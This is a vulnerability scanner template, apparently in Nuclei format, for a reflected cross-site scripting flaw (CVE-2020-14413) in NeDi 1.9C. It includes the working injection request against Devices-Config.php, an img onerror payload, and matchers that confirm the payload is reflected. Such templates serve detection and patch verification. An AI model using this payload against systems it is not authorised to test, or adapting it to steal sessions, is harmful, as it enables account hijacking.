NeDi 1.9C is vulnerable to cross-site scripting because of an incorrect implementation of sanitize() in inc/libmisc.php. This function attempts to escape the SCRIPT tag from user-controllable values, but can be easily bypassed, as demonstrated by an onerror attribute of an IMG element as a Devices-Config.php?sta= value.
PoC代码[已公开]
id: CVE-2020-14413
info:
name: NeDi 1.9C - Cross-Site Scripting
author: pikpikcu
severity: medium
description: NeDi 1.9C is vulnerable to cross-site scripting because of an incorrect implementation of sanitize() in inc/libmisc.php. This function attempts to escape the SCRIPT tag from user-controllable values, but can be easily bypassed, as demonstrated by an onerror attribute of an IMG element as a Devices-Config.php?sta= value.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to a patched version of NeDi or apply the vendor-supplied patch to mitigate this vulnerability.
reference:
- https://gist.github.com/farid007/8db2ab5367ba00e87f9479b32d46fea8
- https://nvd.nist.gov/vuln/detail/CVE-2020-14413
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Elsfa7-110/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-14413
cwe-id: CWE-79
epss-score: 0.15743
epss-percentile: 0.94485
cpe: cpe:2.3:a:nedi:nedi:1.9c:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: nedi
product: nedi
tags: cve,cve2020,nedi,xss
http:
- method: GET
path:
- '{{BaseURL}}/Devices-Config.php?sta=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<img src=x onerror=alert(document.domain)>"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a004730450220327e4ee55248e312d2e3b8a16f5a64c44d4837caa2cc291de8af1c719ca1b5f902210093e12890dce270573d9a23b0899f2f60b4b9e78181e451884d2e538721c890ea:922c64590222798bb761d5b6d8e72950